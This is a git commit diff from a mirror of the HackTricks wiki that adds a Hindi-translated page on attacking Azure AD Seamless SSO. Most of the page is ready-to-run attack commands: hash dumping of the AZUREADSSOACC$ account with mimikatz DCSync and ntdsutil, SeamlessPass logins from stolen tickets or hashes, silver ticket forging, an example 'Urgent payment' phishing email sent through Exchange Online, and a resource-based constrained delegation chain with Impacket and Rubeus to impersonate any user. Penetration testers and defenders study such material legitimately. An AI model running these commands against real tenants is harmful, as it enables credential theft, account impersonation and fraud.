mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-08 22:00:47 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -0,0 +1,187 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, यहां तक कि अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
बुनियादी रूप से Azure AD Seamless SSO **उपयोगकर्ताओं को साइन इन करता है** जब वे **एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं**।
|
||||
|
||||
यह [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) और [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) दोनों द्वारा समर्थित है।
|
||||
|
||||
डेस्कटॉप SSO **प्रमाणीकरण के लिए Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता `AZUREADSSOACC$`** ऑन-प्रिम AD में बनाता है। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Entra ID को स्पष्ट पाठ के रूप में भेजा जाता है**।
|
||||
|
||||
**Kerberos टिकट** **पासवर्ड के **NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।
|
||||
|
||||
**Entra ID** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> इस हमले के बारे में जानने वाली मुख्य बात यह है कि केवल TGT या किसी उपयोगकर्ता का एक विशिष्ट TGS जो Entra ID के साथ समन्वयित है, क्लाउड संसाधनों तक पहुँचने के लिए पर्याप्त है।\
|
||||
> इसका कारण यह है कि यह एक टिकट है जो उपयोगकर्ता को क्लाउड में लॉगिन करने की अनुमति देता है।
|
||||
|
||||
TGS टिकट प्राप्त करने के लिए, हमलावर को निम्नलिखित में से एक होना चाहिए:
|
||||
- **एक समझौता किए गए उपयोगकर्ता का TGS:** यदि आप `HTTP/autologon.microsoftazuread-sso.com` के लिए टिकट के साथ एक उपयोगकर्ता के सत्र को समझौता करते हैं, तो आप इसका उपयोग क्लाउड संसाधनों तक पहुँचने के लिए कर सकते हैं।
|
||||
- **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT प्रतिनिधित्व चाल का उपयोग करके एक प्राप्त कर सकते हैं जैसे [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)।
|
||||
- **एक समझौता किए गए उपयोगकर्ता का हैश या पासवर्ड:** SeamlessPass इस जानकारी के साथ डोमेन नियंत्रक के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके और फिर TGS।
|
||||
- **एक गोल्डन टिकट:** यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं।
|
||||
- **AZUREADSSOACC$ खाता हैश या पासवर्ड:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमला करना संभव है कि एक सेवा टिकट बनाया जाए और क्लाउड के साथ प्रमाणित किया जाए (जैसा कि पिछले तरीके में किया गया था)।
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
जैसा कि [इस ब्लॉग पोस्ट में समझाया गया है](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), पिछले आवश्यकताओं में से कोई भी होने पर **SeamlessPass** उपकरण का उपयोग करना बहुत आसान है ताकि समझौता किए गए उपयोगकर्ता के रूप में, या किसी भी उपयोगकर्ता के रूप में यदि आपके पास **`AZUREADSSOACC$`** खाता हैश या पासवर्ड है।
|
||||
|
||||
अंत में, TGT के साथ [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) उपकरण का उपयोग करना संभव है:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Firefox को seamless SSO के साथ काम करने के लिए और जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है।
|
||||
|
||||
|
||||
### AZUREADSSOACC$ खाते के हैश प्राप्त करना
|
||||
|
||||
उपयोगकर्ता **`AZUREADSSOACC$` का **पासवर्ड** कभी नहीं बदलता**। इसलिए, एक डोमेन एडमिन **इस खाते के हैश को समझौता** कर सकता है, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रेम उपयोगकर्ता के साथ** Azure से कनेक्ट किया जा सके:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
|
||||
# Dump using ntdsutil and DSInternals
|
||||
## Dump NTDS.dit
|
||||
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
|
||||
## Extract password
|
||||
Install-Module DSInternals
|
||||
Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
> [!NOTE]
|
||||
> वर्तमान जानकारी के साथ, आप पहले बताए गए अनुसार **SeamlessPass** टूल का उपयोग करके डोमेन में किसी भी उपयोगकर्ता के लिए azure और entraid टोकन प्राप्त कर सकते हैं।
|
||||
> आप `AZUREADSSOACC$` खाते के बजाय जिस पीड़ित का आप अनुकरण करना चाहते हैं, उसके पासवर्ड का हैश प्राप्त करने के लिए पिछले तकनीकों (और अन्य) का भी उपयोग कर सकते हैं।
|
||||
|
||||
#### Silver Tickets बनाना
|
||||
|
||||
हैश के साथ, आप अब **silver tickets** उत्पन्न कर सकते हैं:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Using Silver Tickets with Firefox
|
||||
|
||||
Silver टिकट का उपयोग करने के लिए, निम्नलिखित चरणों का पालन किया जाना चाहिए:
|
||||
|
||||
1. **ब्राउज़र प्रारंभ करें:** Mozilla Firefox को लॉन्च किया जाना चाहिए।
|
||||
2. **ब्राउज़र कॉन्फ़िगर करें:**
|
||||
- **`about:config`** पर जाएं।
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) के लिए वरीयता को निर्दिष्ट [मान](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) पर सेट करें:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefox `Settings` पर जाएं > `Allow Windows single sign-on for Microsoft, work and school accounts` के लिए खोजें और इसे सक्षम करें।
|
||||
3. **वेब एप्लिकेशन तक पहुँचें:**
|
||||
- एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण है [login.microsoftonline.com](https://login.microsoftonline.com/)।
|
||||
4. **प्रमाणीकरण प्रक्रिया:**
|
||||
- लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज करें, पासवर्ड फ़ील्ड को खाली छोड़ दें।
|
||||
- आगे बढ़ने के लिए, TAB या ENTER दबाएं।
|
||||
|
||||
> [!WARNING]
|
||||
> यह **MFA को बायपास नहीं करता यदि उपयोगकर्ता में सक्षम है**।
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
हमला करने के लिए आवश्यक है:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` पर `AZUREADSSOACC$`
|
||||
- एक कंप्यूटर खाता जिसे आप नियंत्रित करते हैं (हैश और पासवर्ड) - आप एक बना सकते हैं
|
||||
|
||||
1. चरण 1 – अपना खुद का कंप्यूटर खाता जोड़ें
|
||||
- `ATTACKBOX$` बनाता है और इसका SID/NTLM हैश प्रिंट करता है। कोई भी डोमेन उपयोगकर्ता यह कर सकता है जब MachineAccountQuota > 0 हो।
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. चरण 2 – `AZUREADSSOACC$` पर RBCD प्रदान करें - आपकी मशीन का SID `msDS-AllowedToActOnBehalfOfOtherIdentity` में लिखता है।
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. चरण 3 – किसी भी उपयोगकर्ता (जैसे कि alice) के लिए TGS बनाएं
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
आप अब **TGS का उपयोग Azure संसाधनों तक पहुंचने के लिए कर सकते हैं जैसे कि आप impersonated उपयोगकर्ता हैं।**
|
||||
|
||||
### ~~क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
यदि Active Directory प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे **किसी भी क्लाउड-उपयोगकर्ता के लिए SID सेट कर सकते हैं**। इस तरह Kerberos **टिकट** **क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाए जा सकते हैं**। एकमात्र आवश्यकता यह है कि SID एक उचित [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) हो।
|
||||
|
||||
> [!CAUTION]
|
||||
> क्लाउड-केवल प्रशासक उपयोगकर्ताओं का SID बदलना अब **Microsoft द्वारा अवरुद्ध** है।\
|
||||
> जानकारी के लिए देखें [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user